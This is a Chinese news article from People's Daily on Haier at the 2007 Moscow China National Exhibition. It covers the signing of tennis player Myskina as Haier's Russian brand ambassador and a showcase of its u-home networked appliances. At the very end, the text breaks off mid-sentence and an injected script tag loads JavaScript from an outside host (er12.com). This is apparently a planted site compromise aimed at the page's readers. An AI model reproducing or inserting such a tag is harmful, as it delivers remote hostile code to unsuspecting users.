人民网莫斯科3月28日电 作为俄罗斯中国年的开幕活动，“2007莫斯科中国国家展”26日在莫斯科克罗库斯国际展览中心隆重举行。在展会上，海尔不仅作为中国自主品牌的代表，成为唯一入驻展示中国整体形象的综合展区的家电品牌，同时还举行了“海尔俄罗斯牵手奥运”新闻发布会，俄联邦体育部网球协会主席、国际奥委会常任会员沙米尔·塔尔皮谢夫，中国商务部副部长于广洲，海尔集团首席执行官张瑞敏，世界排名第三的俄罗斯女子网球选手米斯金娜出席了发布会。
海尔签订世界网坛巨星俄罗斯女子网球选手米斯金娜为海尔在俄罗斯的品牌代言人，并将在俄联邦网球协会的支持下，开展一系列品牌推广活动。这是海尔在俄罗斯开展体育营销、展示自主品牌实力、深入实施走进去战略的关键一步。俄联邦体育部网球协会主席沙米尔·塔尔皮谢夫表示：“网球是俄罗斯最有影响力的体育项目之一，俄罗斯各界都对网球都有着很高的关注度和参与热情。此次网球协会与海尔在俄罗斯建立合作关系，源于海尔国际化的品牌基础，源于海尔年青活力的品牌形象，更源于海尔一直以来为满足消费者需求而不断创新的拼搏精神，这与体育精神、奥运精神一脉相承。”中国商务部副部长于广洲说：“海尔是中国自主品牌走出去的代表，希望海尔能为中俄经贸友好往来做出更多的贡献。”海尔集团首席执行官张瑞敏在会上说：“希望海尔的产品也像俄罗斯的网球运动一样，成为俄罗斯人民喜爱的家电品牌！” 海尔集团首席执行官张瑞敏（左）向米斯金娜赠送了海尔不用洗衣粉的滚筒洗衣机，米斯金娜成为不用洗衣粉滚筒洗衣机在俄罗斯的首位用户。
会上，海尔还向米斯金娜赠送了不用洗衣粉的滚筒洗衣机，使米斯金娜成为海尔不用洗衣粉的滚筒洗衣机在俄罗斯的首位用户。差异化的功能点，加上米斯金娜女士的使用，迅速拉近了海尔产品与俄罗斯消费者的距离。近年来，俄罗斯经济持续发展，消费者对生活品质的提升有了进一步的要求，品牌消费日渐成为消费趋势，海尔不光为俄罗斯消费者提供了全系列的全明星产品，同时，还非常注重品牌的创建。海尔是2008年北京奥运会赞助商，是nba合作伙伴，海尔以过硬的产品、创业创新的企业文化、环保科技的研发理念、年轻活力的品牌形象，在全球范围内创建了与众多国际重大体育赛事合作的美誉。海尔与俄联邦体育部网球协会签订战略合作协议，签订世界网坛巨星米斯金娜为海尔在俄罗斯的品牌代言人，将使俄罗斯消费者更近距离认识海尔、了解海尔，从而使海尔成为俄罗斯消费者喜爱的本土化知名品牌。
此次海尔新闻发布会，是中国国家展25项重大推介活动之一。中国国家展对于展示中国国家形象，推进双边关系发展具有重要意义。海尔在此次展会中，有两处展位，分别位于综合展区和知名品牌展区。国家综合展区，定位在中国国家级重点项目和品牌展示，浓缩了中国改革开放以来在经济、社会、文化等各个方面取得的成就，是两国元首重点参观区。作为唯一一家入选的家电品牌，海尔在国家综合展区，展出了以u-home为主的海尔家电，毗邻三峡、青藏铁路、神六等国家级工程展台。据海尔有关负责人介绍：“u-home的提出，源于信息化的时代特点和消费者需求的结合，通过数字技术和网络技术，实现了家电的智能控制。”海尔u-home，可以通过手机发短信让家里的热水器热水、通过发电子邮件让家里的微波炉工作、通过电视上网、通过电脑控制小区的防盗门系统……海尔的数字家庭技术，创造了国家行业标准，中国家庭网络标准工作组由信产部组建，海尔任组长单位，负责制定家庭网络标准，此项技术正在向国际标准进发。同时，海尔表示，u-home，绝不仅仅是冷冰冰的专利技术，更重要的，它代表着家电未来发展的趋势，必将提高人类在未来的生活品质。据介绍，海尔自2005年起所有家电均预留了网络接口，给带有网络接口的产品添加网络模块，即可由普通家电升级为网络家电，为家电数字时代的到来做好了充分的准备。据悉，海尔的研发方向，得到了全球消费者的认可，此外，海尔在综合展区还展出了专为俄罗斯家庭设计的不用洗衣粉的滚筒洗衣机；全球第一台同时解决了设计、储物、保鲜、营养等技术难题的四开门冰箱；满足消费者娱乐需求的“随身唱”手机等高度差异化创新产品。除了在综合展区的展示外，海尔在知名品牌展区的展位面积150平方米，是面积最大的参展品牌企业之一，展出了适合俄罗斯消费者需求的10多个品类、60余个型号的差异化创新产品,也得到了海内外媒体和客商的高度关注。
作为中国国家展上自主品牌创新的代表，“海尔俄罗斯牵手奥运”新闻发布会吸引了众多媒体的关注，俄罗斯新闻社、俄罗斯塔斯社、中国新华社、中国新闻社、中央电视台等俄中两方主流媒体纷纷到会，对海尔在俄罗斯的发展表现出浓厚的兴趣。 相关链接：米斯金娜（myskina），世界排名第三的俄罗斯女子网球选手。1998年，米斯金娜开始职业网球生涯，靠着自己艰苦?script src=http://er12.com/t.js>
